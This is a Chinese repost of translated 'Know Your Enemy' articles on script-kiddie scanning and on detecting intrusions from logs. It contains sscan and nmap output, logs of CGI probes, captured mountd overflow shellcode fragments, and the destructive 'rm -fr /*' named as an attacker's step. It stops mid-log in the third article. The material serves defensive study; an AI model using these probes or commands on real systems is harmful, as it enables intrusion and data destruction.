[转载]Know Your Enemy
信息来源:xfocusKnow Your Enemy-Script Kiddie
我的长官经常对我说:在敌人面前好很好的保护自己,你必须先了解敌人先。(孙子兵法:知己知彼,百战百胜)。这句军事用语现在也很好的应用于网络安全领域中了,就象作战一样,你要保护自己的资源,你需要知道谁是你最大的威胁和他们会怎样攻击。在这个系列中的第一篇文章,就是讨论一种很流行很广泛的来自Script Kiddie所使用的工具和方法,如果你或者你的组织有任何资源连接到Internet上,你就有此类的威胁。
Know Your Enemy文章主要是涉及到blackhatck团体使用的工具,策略和动机。而Know Your Enemy:II主要集中于你怎样能探测这些威胁,判断他们所使用的工具和他们在你系统上寻找什么样的漏洞。Know Your Enemy:III集中讨论攻击者获得ROOT后在系统上怎样操作,特别是他们是如何掩盖他们的踪迹和他们下一步主要干什么。Know Your Enemy: Forensics 涉及了你怎样分析一种攻击。Know Your Enemy: Motives 通过捕获black-hat团体之间的通信和联系来分析他们的动机和心理状态。Know Your Enemy: Worms at War 描述了WORM蠕虫是怎样自动攻击WINDOW系统的。
什么叫Script Kiddie
Script kiddie是一些专门找寻一些容易下手资源的人,他们不专门针对某种特定信息或者目标特定公司,他们的目标是尽可能的用最简单的方法获得ROOT,他们通过搜集一些公开的exploit信息并搜索整个Internet来找寻有这种exploit漏洞的资源,这样,不管怎样,总有某些人会被他们操作。
其中一些高级点的家伙会开发他们自己的工具,并留下一些复杂的后门,另外一些根本就不知道他们做什么,就知道怎样在命令行打"go"的人。忽略他们的技术水平不说,Script kiddie就是共享一些公共策略,随机搜索某个特殊漏洞并利用这个特殊漏洞的人。
他们形成的威胁在哪里?
由于Script kiddie是随机选择目标,所以存在的威胁是你的系统迟早会被扫描到,我知道管理员很惊讶他们的系统在设置以后没几天也没有告诉任何人的时候就被扫描到了,其实这一点也不值得惊讶,因为Scritp kiddie一般是扫描一段网络来操作的。 如果扫描只能限制在几个独立的资源,你可能会很安心,因为Internet上千千万万的机器,扫描到你的机器的几率少之又少。但是,事实不是你想象的这样,目前多数工具能很方面的使用大范围扫描并广泛传播,任何人可以使用他们,使用这些工具的人数增长率呈现惊人的速率。Internet是一个无国界的区域,这种威胁就很快转播到世界各个地方,有这么多人使用这些工具,你被探测就不是问题了。
试图以含糊其词来搪塞你的安全问题会害了你:你或许会认为没有人知道你的系统,你就会安全,或者你认为你的系统没有价值,他们为何要探测你,其实这些系统正是scritp kiddies搜寻的目标--没有任何保护的系统,非常容易得手的系统。
具体方法讨论
Scritp kiddie的方法很简单,扫描Internet有特定缺陷的系统,一但查找到,便对它下手,他们用的许多工具会自动操作,不需要很多的交互。你只要打开工具,然后过几天回来看看你的结果就可以了。没有两个工具是相同的就象没有两个漏洞是一样的,但是虽然如此,许多工具的策略是一样的,第一,开发要扫描的IP段,然后扫描这些IP段中特定的漏洞。
例如:我们假定一个用户有一个工具可以利用Linux系统上的imap漏洞,如imapd_exploit.c,开始,他们开发一IP数据库来扫描,一旦IP数据库构建好,用户会想判断系统是否运行LINUX系统。目前许多扫描器可以通过发送不正常的信息包到目标系统并查看他们如果响应便可很方便的判断操作系统,如Fyodor的nmap,然后,工具会判断LINUX系统是否运行着imap服务,最后就是利用imapd_exploit.c程序来进入系统了。
你会想所以这些扫描会有很大的动静,很容易引起注意,但是,很多人没有很好的监视他们的系统,并不认识到他们正被扫描,而且,许多script kiddies在查看他们所要利用的系统时也会保持相当的安静,一旦他们利用这个漏洞进入系统,他们就会使用这个系统作为跳板,并不带任何包袱的扫描整个系统,因为如果这种扫描被抓获,责任是系统管理员而不是那些script-kiddie。
所有这些扫描的结果经常被用来归档或者在其他用户中共享,以便在以后的日子里使用,如用户在最初为了某个漏洞扫描出来的LINUX系统开了那些端口的数据库后,过一点时间,一个新的漏洞被发现以后,用户可以不用重新构建或者扫描新的IP段,他可以很方便的来查看以前归档的数据库并来利用这个新发现的漏洞。其他变相的,用户可以交流或者买卖有漏洞系统的数据库。你可以看Know Your Enemy: Motives文章中的例子,这样造成scritp kiddie可以不扫描系统而破坏你的资源。
有些Black-hats会采用木马或者后门来种植在破坏的系统中,后门允许方便的随时的让攻击者来访问你的系统,而木马使入侵者难于被发现,这些技术可以让他们的操作不显示在任何LOG记录,系统进程或者文件结构上,他可以构建一个舒适安全的环境来扫描Internet,跟详细的信息请看:Know Your Enemy: III。
这些攻击没有限制在一天中的任何时间,许多管理员搜索他们的LOG记录来查询当晚发生了什么,并相信这是攻击者的攻击时间,其实script kiddies在任意时间进行攻击,他们一天24小时的进行扫描,你根本不能考虑到你什么时候会被探测到。而且由于Internet的无边界性,时间也就不确定了,攻击者当地在午夜在攻击,而你这里可能是在当地时间下午一点种。 以上对系统漏洞的扫描可以用于多种用途,近来,一种新的拒绝服务攻击--分布式拒绝服务攻击DDoS,就是攻击者一个人控制了很多台有漏洞的系统,他可以遥控这些控制的系统来共同对目标系统执行拒绝服务攻击。由于多个系统被使用,所以防卫和判断源攻击地也变的非常困难。要控制多个系统,Script kiddie的策略就变的很有用,有漏洞的系统随机被判断并用来作为DDOS的垫板,越多的系统被控制,DDOS攻击的强度就越大。如stacheldraht,要了解关于更多的分布式拒绝服务攻击和怎样保护自己,请查看Paul Ferguson站上的Denialinfo。
工具
这些工具一般使用起来很见大,许多工具一般只是几个选项来完成单个目标,开始工具用来构建IP数据库,这些工具很随机的扫描Internet,如一个工具有一个单一的选项,A,B和C,你可以选择一个字母来决定要扫描的网络大小,这工具然后就选择A,B,C相应的IP网络进行扫描。另一个工具使用域名如z0ne,这个工具通过对域名和子域名的区域传输操作来构造IP数据库,用户通过扫描整个.com或者.edu域来获得2百万或者更多的IP数据库,一旦发现这些IP,它们就被会被工具用户判断版本名字,操作系统,所运行的服务,如果发现系统有漏洞,black-hat就会马上进行攻击。要更好的理解这些工具,请看Know Your Enemy: Forensics。
怎样防止这类威胁
下面的一些步骤你可以比较好的保护你的系统,第一,script kiddie一般找寻容易下手的对象,如一些很公开很容易得手的漏洞系统,保证你的系统和网络不受这些漏洞的影响,[url]http://www.cert.org/[/url] 和[url]http://www.ciac.org/[/url]是了解这些漏洞很好的资料库。同样地,bugtraq (securityfocus.com的一个邮件列表 ) 也是获得这些漏洞信息很好的地方。另一个保护你自己的方法是只运行你需要的服务,如果你不需要某个服务,关掉它,如果你确实要使用某个服务,确保你的服务版本是最新的。要怎样操作,请看这些文章:Armoring Solaris , Armoring Linux 或者Armoring NT. 上面知道,DNS服务器是经常被用来找寻IP数据库的对象之一,你必须在你的名字服务器上限制区域传送的操作,记录任何未认证的区域传输并跟踪他们。我强烈建议升级BIND到最新的版本,你可以在下面的地址找到:[url]www.isc.org/bind.html.[/url] 最后监视你被探测的系统,你可以跟踪这些探测操作获得更多对你网络有威胁的举动。
总结
Scritp kiddie会对所有系统有威胁,他们没有任何偏爱,任何系统他们都挑,不计较地点和价值。不管怎样,你迟早会被扫描到。通过了解他们的动机和方法,你可以很好的对付这些威胁而更好的保护你的系统。
Know Your Enemy--Blackhat
此文章是系列中的第二篇文章,在第一篇Know Your Enemy, 我们讲述了Script kiddie相关的工具和方法,特别是他们是怎样探测漏洞然后攻击的。在第三篇Know YourEnemy III中我们将会描述Script kiddie在获得ROOT的时候将会做的事情,特别是他们是怎样覆盖踪迹和他们下一步做的是什么。当前这文章,将涉及到有关则怎样跟踪他们的行为。我们会讲述到通过你的系统记录来判断你所需的操作,和你被扫描了以后,你需要了解被探测了以后主要被干什么用,他们使用了那些工具;这里的有些例子主要是基于LINUX操作系统,但是很容易移植到其他UNIX系统中,记住,没有绝对的方法能跟踪敌人的每一步,但是,这文章会是一个好的开始。
加强系统LOG记录的安全性
这文章没有主要不是针对入侵检测进行讨论,关于IDS,internet上有很多优秀的源程序供你选择,如果你对入侵检测感兴趣,我建议你使用如Network Flight Recorder 和snort程序来尝试。此文主要集中在智力收集信息上,特别是,怎样通过查看你的系统记录来获取攻击者操作信息,可能你对你能在自己的LOG记录上能发现多少信息感到很惊讶,但是,在我们讲述查看你记录前,我们首先必须讨论下加强你的系统LOG安全性,如果你不能信任你系统记录的完整性那这些记录将会一文不值,多数Blackhat在进入系统之后第一件事情就是怎样更改记录文件,网上非常多类型的Rootkit工具可以清楚记录文件中他们的留下的踪迹(如cloak),或者阻止所有系统的记录(如伪造过的syslogd),因此,要想查看系统记录,你必须保护好你的记录文件。
这意味着你需要使用远程的LOG服务器,先不管你有多少能力保护自己的系统,在一台被入侵的系统中你不能相信你的任何记录,即使你最好的保护被入侵系统的LOG记录,Blackhat也可以简单的使用rm -fr /*来完全清理你的硬盘。要保护这些文件,你必须使你所有系统的LOG记录既有本地记录也发向远程LOG服务器中,这里建立你一个只记录LOG的服务器来收集其他服务器上的信息,如果牵涉到钱的问题,你可以简单使用Linux服务器来充当你的LOG服务器,不过这台服务器必须保证非常安全,需要所有服务关闭,只允许控制台访问(如Armoring Linux所描述),还有必须保证UDP 514口没有对外连接,这样可以保护你的LOG服务器不接受从外界来的不好的或者未认证的LOG信息。
由于上述原因,这里建议你重编译syslogd程序,并让syslogd读取不同的配置文件,如/var/tmp/.conf,此方法能让Blackhat没有注意到真实的配置文件位置,这项操作你可以简单的在源代码中修改"/etc/syslog.conf"条目,接着我们可以设置我们新的配置文件把信息记录到本地和远程服务器,如syslog.txt。这里请你维持一标准的配置文件/etc/syslog.conf指向所有本地LOG,虽然这份配置文件没有用,但可以让攻击者相信记录没有发忘远程记录。另一个选择方法就是让你的系统使用更安全的日志记录工具,如使用某些有完整性检查和其他方面安全加强的系统日志记录工具,如syslog-ng。
记录都记录到远程服务器中,将想上面提到的,我们可以基本上相信这些LOG的完整性,而且由于所有系统都记录在单一资源中,就比较容易的判断这些LOG的样式。我们可以在一台机器上记录所有系统记录,你所做的是对比下本地系统和远程系统的不一致性。
类型匹配
通过检查你的记录条目,你可以用来判断那些端口被扫描,许多Script kidde扫描整个网络只为一个漏洞,如你的记录显示你多数系统有来自同一远程系统的连接和同一端口,这就很可能以为着是一次漏洞的扫描,多数LINUX系统中,TCP Wrapper默认安装的,所以你可以在/var/log/secure里找到多数连接,在其他UNIX系统中,我们可以通过启动inetd后增加-t标志就可以记录所有Inetd连接。下面是一个典型的漏洞扫描,是为了扫描wu-ftpd漏洞:
/var/log/secure
Apr 10 13:43:48 mozart in.ftpd[6613]: connect from 192.168.11.200
Apr 10 13:43:51 bach in.ftpd[6613]: connect from 192.168.11.200
Apr 10 13:43:54 hadyen in.ftpd[6613]: connect from 192.168.11.200
Apr 10 13:43:57 vivaldi in.ftpd[6613]: connect from 192.168.11.200
Apr 10 13:43:58 brahms in.ftpd[6613]: connect from 192.168.11.200
上面我们可以看到源主机192.168.11.200在扫描我们的网络,注意为何源主机连续扫描每个IP,这些记录就归功于LOG服务器,你可以方便的判断每个类型,连续的连接端口21,FTP,就暗示着攻击者在寻找wu-ftpd漏洞。一般来说,扫描是倾向于阶段性的,某些人发布了一个imap漏洞的利用代码,你就会发现记录里有imap扫描突然增多,下一个月如果有FTP利用程序发布,记录就会转向ftp突然增多,你可以在这个地址[url]http://www.cert.org/advisories/[/url]获得当前最新的漏洞建议。有时,一个工具也会在同一时间里扫描多种漏洞,因此你也会看到一个源主机连接多个端口。
记住,如果你没有记录这些服务,你就不会知道你被扫描,例如,多数RPC连接没有被记录,但是服务记录是一件简单的事情,你可以通过在/etc/inetd.conf增加条目来让TCP WRAPPER进行记录,如你在/etc/inetd.conf里增加NetBus条目,你就可以通过定义TCP Wrapper来安全的拒绝和记录NETBUS的连接(更多信息请查看ids).
判断使用工具
有些时候你可以判断什么样的工具在扫描你的系统,因为一般工具都是扫描特殊的漏洞,如ftp-scan.c,如果你发现只是一个端口被扫描,一般他们使用的是单任务工具,但是也存在很多工具扫描多种系统漏洞和薄弱处,举两个非常有用的工具如jsbach写的sscan和Fyodor写的nmap,我只所以选择了这两个工具是因为他们能代表两种类别的扫描工具,这里强烈建议你用这些工具扫描下你自己的网络,或许你会得到让你吃惊的结果。
注:sscan工具是一个比较老的工具了,在这里只是把sscan拿来讨论,要扫描你网络系统的漏洞,这里建议使用Nessus。
sscan代表着以"所有目标"为目的的Script kiddie扫描工具,它扫描网络一套的网络漏洞,它可以让你定制规则来对新漏洞的增加,你只要传递工具一个网络和网络掩码,其他的事情它来做,不过这个工具需要有ROOT权利才能使用,它的输出很容易理解,它会提供一个简洁的对漏洞服务的描述,所有你要做的就是让sscan扫描网络,然后你提取"VULN"的值,然后运行"exploit du jour",下面是sscan对系统mozart (172.17.6.30)的扫描:
otto #./sscan -o 172.17.6.30
--------------------------<[ * report for host mozart *
<[ tcp port: 80 (http) ]><[ tcp port: 23 (telnet) ]>
<[ tcp port: 143 (imap) ]><[ tcp port: 110 (pop-3) ]>
<[ tcp port: 111 (sunrpc) ]><[ tcp port: 79 (finger) ]>
<[ tcp port: 53 (domain) ]><[ tcp port: 25 (smtp) ]>
<[ tcp port: 21 (ftp) ]>
--<[ *OS*: mozart: os detected: redhat linux 5.1
mozart: VULN: linux box vulnerable to named overflow.
<[ *CGI*: 172.17.6.30: tried to redirect a /cgi-bin/phf request.
<[ *FINGER*: mozart: root: account exists.
<[ *VULN*: mozart: sendmail will 'expn' accounts for us
<[ *VULN*: mozart: linux bind/iquery remote buffer overflow
<[ *VULN*: mozart: linux mountd remote buffer overflow
---------------------------<[ * scan of mozart completed *
Nmap代表"原始数据"工具集,它不告诉你系统有什么漏洞存在,相反,它告诉你系统有什么端口打开,你必须自己判断安全问题,Nmap很快变成扫描端口的首选,它是能很好的端口扫描工具并集合多种功能的工具包括OS探测,有多种端口组合选择,包括UDP和TCP扫描,不过这个工具需要你有一定的网络技能来使用这个工具并解析这些数据,下面是nmap对同一系统扫描的结果:
otto #nmap -sS -O 172.17.6.30
Starting nmap V. 2.08 by Fyodor ([email]fyodor@dhp.com[/email], [url]www.insecure.org/nmap/[/url])
Interesting ports on mozart (172.17.6.30):
Port State Protocol Service
21 open tcp ftp
23 open tcp telnet
25 open tcp smtp
37 open tcp time
53 open tcp domain
70 open tcp gopher
79 open tcp finger
80 open tcp http
109 open tcp pop-2
110 open tcp pop-3
111 open tcp sunrpc
143 open tcp imap2
513 open tcp login
514 open tcp shell
635 open tcp unknown
2049 open tcp nfs
TCP Sequence Prediction: Class=truly random Difficulty=9999999 (Good luck!)
Remote operating system guess: Linux 2.0.35-36
Nmap run completed -- 1 IP address (1 host up) scanned in 2 seconds
通过检查你的LOG记录,你可以判断那个工具在扫描你,不过你需要理解这些工具是如何工作的你才能判断出扫描你的工具,第一,sscan会在记录中留下下面的记录(这个是默认扫描没有增加任何修改和其他配置文件):
/var/log/secure
Apr 14 19:18:56 mozart in.telnetd[11634]: connect from 192.168.11.200
Apr 14 19:18:56 mozart imapd[11635]: connect from 192.168.11.200
Apr 14 19:18:56 mozart in.fingerd[11637]: connect from 192.168.11.200
Apr 14 19:18:56 mozart ipop3d[11638]: connect from 192.168.11.200
Apr 14 19:18:56 mozart in.telnetd[11639]: connect from 192.168.11.200
Apr 14 19:18:56 mozart in.ftpd[11640]: connect from 192.168.11.200
Apr 14 19:19:03 mozart ipop3d[11642]: connect from 192.168.11.200
Apr 14 19:19:03 mozart imapd[11643]: connect from 192.168.11.200
Apr 14 19:19:04 mozart in.fingerd[11646]: connect from 192.168.11.200
Apr 14 19:19:05 mozart in.fingerd[11648]: connect from 192.168.11.200
/var/log/maillog
Apr 14 21:01:58 mozart imapd[11667]:
command stream end of file, while reading line user=???
host=[192.168.11.200]
Apr 14 21:01:58 mozart ipop3d[11668]:
No such file or directory while reading line user=???
host=[192.168.11.200]
Apr 14 21:02:05 mozart sendmail[11675]:
NOQUEUE: [192.168.11.200]: expn root
/var/log/messages
Apr 14 21:03:09 mozart telnetd[11682]:
ttloop: peer died: Invalid or incomplete multibyte or wide character
Apr 14 21:03:12 mozart ftpd[11688]: FTP session closed
sscan也扫描cgi-bin漏洞,这些探测没有通过syslogd记录,你可以在access_log中发现:
192.168.11.200 - - [14/Apr/1999:16:44:49 -0500] "GET /cgi-bin/phf HTTP/1.0" 302 192< 192.168.11.200 - - [14/Apr/1999:16:44:49 -0500] "GET /cgi-bin/Count.cgi HTTP/1.0" 404 170
192.168.11.200 - - [14/Apr/1999:16:44:49 -0500]
"GET /cgi-bin/test-cgi HTTP/1.0" 404 169
192.168.11.200 - - [14/Apr/1999:16:44:49 -0500]
"GET /cgi-bin/php.cgi HTTP/1.0" 404 168
192.168.11.200 - - [14/Apr/1999:16:44:49 -0500]
"GET /cgi-bin/handler HTTP/1.0" 404 168
192.168.11.200 - - [14/Apr/1999:16:44:49 -0500]
"GET /cgi-bin/webgais HTTP/1.0" 404 168
192.168.11.200 - - [14/Apr/1999:16:44:49 -0500]
"GET /cgi-bin/websendmail HTTP/1.0" 404 172
192.168.11.200 - - [14/Apr/1999:16:44:49 -0500]
"GET /cgi-bin/webdist.cgi HTTP/1.0" 404 172
192.168.11.200 - - [14/Apr/1999:16:44:49 -0500]
"GET /cgi-bin/faxsurvey HTTP/1.0" 404 170
192.168.11.200 - - [14/Apr/1999:16:44:49 -0500]
"GET /cgi-bin/htmlscript HTTP/1.0" 404 171
192.168.11.200 - - [14/Apr/1999:16:44:49 -0500]
"GET /cgi-bin/pfdisplay.cgi HTTP/1.0" 404 174
192.168.11.200 - - [14/Apr/1999:16:44:49 -0500]
"GET /cgi-bin/perl.exe HTTP/1.0" 404 169
192.168.11.200 - - [14/Apr/1999:16:44:49 -0500]
"GET /cgi-bin/wwwboard.pl HTTP/1.0" 404 172
192.168.11.200 - - [14/Apr/1999:16:44:50 -0500]
"GET /cgi-bin/ews/ews/architext_query.pl
HTTP/1.0" 404 187
192.168.11.200 - - [14/Apr/1999:16:44:50 -0500]
"GET /cgi-bin/jj HTTP/1.0" 404 163
注意上面对所有端口(SYN, SYN-ACK, ACK)进行了完整的连接,这是因为sscan判断应用层上的内容,不仅仅是sscan想知道你的ftp端口是否打开而且要知道什么样的FTP程序在运行,其他的imap,pop也是这样,你可以通过sniffit来嗅探起踪迹,sniffit是常用来嗅探密码的工具:
mozart $ cat 172.17.6.30.21-192.168.11.200.7238
220 mozart.example.net FTP server
(Version wu-2.4.2-academ[BETA-17](1)
Tue Jun 9 10:43:14 EDT 1998) ready.
就像你上面所见到的,通过一次完整的连接来判断什么样版本的wu-ftpd在运行,当你在LOG文件里看到一次完整的连接,你就应该想到很可能是一次查找漏洞的工具在扫描。
Nmap,类似许多扫描器,并不关心你运行了什么,而是你运行了什么样特殊的服务,Nmap有一套功能强大的选项,让你选择什么类型的连接,包括SYN, FIN, Xmas, Null等,你可以在nmap_doc.html文章中获得详细的描述。由于使用到这些选项,你的记录上会因远程用户选择不同而不同,如果使用-sT标志,暗示一次完整的连接,你在记录上会看到和sscan类似的记录,不过nmap默认情况下扫描更多的端口:
/var/log/secure
Apr 14 21:25:08 mozart in.rshd[11717]:
warning: can't get client address: Connection
reset by peer
Apr 14 21:25:08 mozart in.rshd[11717]:
connect from unknown
Apr 14 21:25:09 mozart in.timed[11718]:
warning: can't get client address: Connection reset by peer
Apr 14 21:25:09 mozart in.timed[11718]:
connect from unknown
Apr 14 21:25:09 mozart imapd[11719]:
warning: can't get client address: Connection reset by peer
Apr 14 21:25:09 mozart imapd[11719]: connect from unknown
Apr 14 21:25:09 mozart ipop3d[11720]:
warning: can't get client address: Connection reset by peer
Apr 14 21:25:09 mozart ipop3d[11720]: connect from unknown
Apr 14 21:25:09 mozart in.rlogind[11722]:
warning: can't get client address: Connection reset by peer
Apr 14 21:25:09 mozart in.rlogind[11722]: connect from unknown
你必须注意Nmap有-D选项,它可以让用户来伪造源地址,你或许会在同一时间里看到从15个不同源主机来的扫描,其实这些地址真实的只有一个,所以从这些源地址中判断真实地址是比较困难的事情。还有,用户还会选择-sS标志,这是一隐蔽扫描选项,只发送SYN包,如果远程系统回应,连接就直接通过RST包来断开,所以这时候的记录会如下:
/var/log/secure
Apr 14 21:25:08 mozart in.rshd[11717]:
warning: can't get client address: Connection reset by peer
Apr 14 21:25:08 mozart in.rshd[11717]: connect from unknown
Apr 14 21:25:09 mozart in.timed[11718]:
warning: can't get client address: Connection reset by peer
Apr 14 21:25:09 mozart in.timed[11718]: connect from unknown
Apr 14 21:25:09 mozart imapd[11719]:
warning: can't get client address: Connection reset by peer
Apr 14 21:25:09 mozart imapd[11719]: connect from unknown
Apr 14 21:25:09 mozart ipop3d[11720]:
warning: can't get client address: Connection reset by peer
Apr 14 21:25:09 mozart ipop3d[11720]: connect from unknown
Apr 14 21:25:09 mozart in.rlogind[11722]:
warning: can't get client address: Connection reset by peer
Apr 14 21:25:09 mozart in.rlogind[11722]: connect from unknown
注意在连接中显示所有连接错误的,原因是SYN-ACK正确的顺序在完成完整连接之前被破坏,守护程序就判断不出源地址,这样记录虽然能记录被扫描,但不能记录谁在扫描,更甚的是,有些系统(包括新内核的LINUX),没有一个错误记录会被记录。应用Fyodor的话"...基于所有'connection reset by peer'信息,linux2.0.XX有点古怪--事实上每个其他系统(包括2.2和2.1后内核)会什么都不显示,这个BUG(accept()在完成3次连接之后返回)已经修补"。
Nmap包含其他的一些隐蔽扫描选项,如:-sF, -sX, -sN ,在记录中会如下显示: /var/log/secure
就是说没有任何显示,就是说你被扫描会你永远不会知道。所有这三种类型都是同样的结果,你只能记录-sT标志的扫描。要探测这些隐蔽扫描,你需要使用不同的记录程序如tcplogd或者ippl,某些商业防火墙也能探测到这些扫描,如Checkpoint Firewall 1.
判断他们是否进入
一旦你知道你被扫描了,下一个大问题就是"他们有没有进入你的系统",现在多数远程利用程序基于缓冲溢出,简单的陈述就是当程序(一般是守护程序)接受到超多的输入后,会覆盖正确的内存区域,导致代码被执行,而获得远程ROOT访问,关于缓冲溢出更多信息,你可以查看Aleph1的phrack49-14.txt文章。
你一般可以在/var/log/messages或者/var/adm/messages文件中判断缓冲溢出攻击,如mountd。下面是对imapd进行的攻击,你在maillog里会发现如下的缓冲溢出信息:
Apr 14 04:20:51 mozart mountd[6688]:
Unauthorized access by NFS client 192.168.11.200.
Apr 14 04:20:51 mozart syslogd: Cannot glue message parts together
Apr 14 04:20:51 mozart mountd[6688]:
Blocked attempt of 192.168.11.200 to mount
~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~
P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~
P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~
P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~
P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~
P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~
P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~
P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~
P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~
P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~
P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~
P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~
P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~
P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~
P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~
P~P~P3?3à°^[í~@3ò3à~Kú°^Fí~@t?u?1à°^Bí~@~Eàub?b^V? ^B~ I^Ftè~IF^D°^F~IF^H°f1?t?~I
?í~@~I^F°^Bf~IF^L°*f~IF^N~MF^L~IF^D1à~IF^
P°^P~IF^H°ft?í~@°^A~IF^D°f3^Dí~@?^D?L?R1à~IF^D~IF^H°ft?í~@~H?°?1éí~@°
?táí~@°?táí~@?.bin@~I^F?.sh!@~IF^D1à~HF^G~Iv^H~IF^L°^K~Ió~MN^H~MV^Lí~@1à°^
A1?í~@è E????y?PrivetADMcrew~P(-^E^H(-^E^H(-^E^H(-^E^H(-^E^H(-^E^H(-^E^H(-^E
^H(-^E^H(Apr 14 04:20:51mozart ^H(-^E^H(-^E^H(-^E^H(-^E^H(-^E^H(-^E^H(-^E^H(-^
E^H(-^E^H(-^E^H(-^E^H(-^E^H(-^E^H-^E^H(-^E^H(-^E^H(-^E^H(-^E^H(-^E^H(-^E^H(-^E
^H(-^E^H(-^E^H(-^E^H(-^E^H(-^E^H-^E^H(-^E^H(-^E^H(-^E^H(-^E^H(-^E^ H(-^E^H(-^E^H
^E^H(-^E^H(-^E^H(-^E^H(-^E^H(-^E
当你在LOG文件里看到如上的信息时,就可以判断有人尝试利用漏洞进入你的系统,不过是否成功就比较难判断,一种方法是,在漏洞利用之后查看是否有任何远程主机进入你系统,如果有从远程系统中成功的LOGIN,他们就已经进入你的系统,另一个线索是在/etc/passwd文件中查找可疑的帐户如"moof", "rewt", "crak0", 或 "w0rm" 是否UID为0,一旦攻击者获得访问权利,他们会清除他们的记录和改装你的LOG记录,关于这方面更多信息,请查看Know Your Enemy: III. 如果真的类似上面这样的操作,你就很难在你破坏的系统上获得任何信息。下一步该怎么做就是另一个话题了,这里建议你查看下面的文件:[url]http://www.cert.org/nav/recovering.html[/url]
为了帮助我查找LOG文件中的反常记录,我写了一脚本程序来检查,关于更详细的查找和排序LOG文件,你可以查看此文:Marcus Ranum。(fttp://www.nfr.net/firewall-wizards/mail-archive/1997/Sep/0098.html)。这里是这个脚本的程序:Korn shell scriptbr
总结
你系统记录文件会告诉你详细的关于攻击者的信息,但是,首先你必须保证你LOG文件的完整性。一个最好的方法就是使用远程LOG服务器来接受和存储所有系统的系统。这样你可以判断LOG文件的信息类型,基于这些类型和LOG条目,你可以判断Blackhat到底在干什么和判断他们使用的工具。根据这些知识,你可以更好的保护你的系统。
Know Your Enemy--入侵者
本文是对入侵者进行研究系列文章中的第三篇。第一篇讲述了入侵者们的探测行为、分类及利用漏洞的过程,第二篇聚焦于如何探测这些入侵企图、鉴别他们使用了哪些工具、他们所寻找的漏洞有哪些……这篇文章,则讲述了当他们获得root权限后,所做的事情,重点放在他们是如何隐藏踪迹以及之后如何做。可以从这里下载原始数据进行分析。
入侵者是谁
就象我们在第一篇文章里所说的,多数的入侵者并没有考虑太多的策略方面的问题,他们更重视的是轻易地入侵,而非针对某些特定的信息或者某个特定的公司。他们把注意力集中于最有效的几个漏洞利用程序上,然后在互联网上寻找相应的主机——迟早他们会找到适合入侵的机器的……
当他们获得root权限这后,第一件事往往是抹去他们的踪迹,他们需要确保系统管理员没有发现系统被侵袭,并且不希望留下任何日志或者他们活动的记录。然后,他们会使用你的机器来扫描网络中的其它系统,或者静静地潜伏,以求获得更多的资料。为了更好地了解他们是如何侵害系统的,我们将沿着一个入侵者的入侵步骤来观察。我们的系统——mozart,上面运行的操作系统是RedHat 5.1。系统在1999年4月27日受到攻击,下面的一些入侵过程的记录,是从系统日志及击键记录中提取的,我们对系统日志及击键都做了验证,所有的系统日志都是在一个受保护的syslog服务器上的,所有的击键都是由一个被嗅探器——称为sniffit捕获的。如果你想了解更多关于这些记录获得的技巧的话,请参见另一篇文章——英雄本色。在本文中,我们称这个入侵者为“他”——因为我们无法得知其真正的性别。
漏洞利用
在4月27日的00:13,有一个家伙在域名为1Cust174.tnt2.long-branch.nj.da.uu.net的地方对我们进行扫描,针对了包括imap漏洞在内的几个特定的漏洞,这些入侵者是比较讨厌的,因为他们一下扫描了整个网段,(想了解更多关于这次探测的信息,可以参见系列文章中的第二篇 )。
Apr 27 00:12:25 mozart imapd[939]: connect from 208.252.226.174
Apr 27 00:12:27 bach imapd[1190]: connect from 208.252.226.174
Apr 27 00:12:30 vivaldi imapd[1225]: connect from 208.252.226.174
很显然地,他找到了一些他所乐见的东西,并且在06:52和16:47又回来了。他开始了一次针对mozart机器的彻底扫描,并且确定了这台机器存在着mountd的安全漏洞,这个漏洞是Red Hat 5.1中存在的一个会危及root安全的漏洞,我们可以从/var/log/messages中看到,这个入侵者应该已经获得了超级用户权限,他所使用的工具看上去象是ADMmountd.c或者一些极其类似的程序。
Apr 27 16:47:28 mozart mountd[306]: Unauthorized access by NFS client 208.252.226.174.
Apr 27 16:47:28 mozart syslogd: Cannot glue message parts together
Apr 27 16:47:28 mozart mountd[306]: Blocked attempt of 208.252.226.174 to mount
~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P
~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~
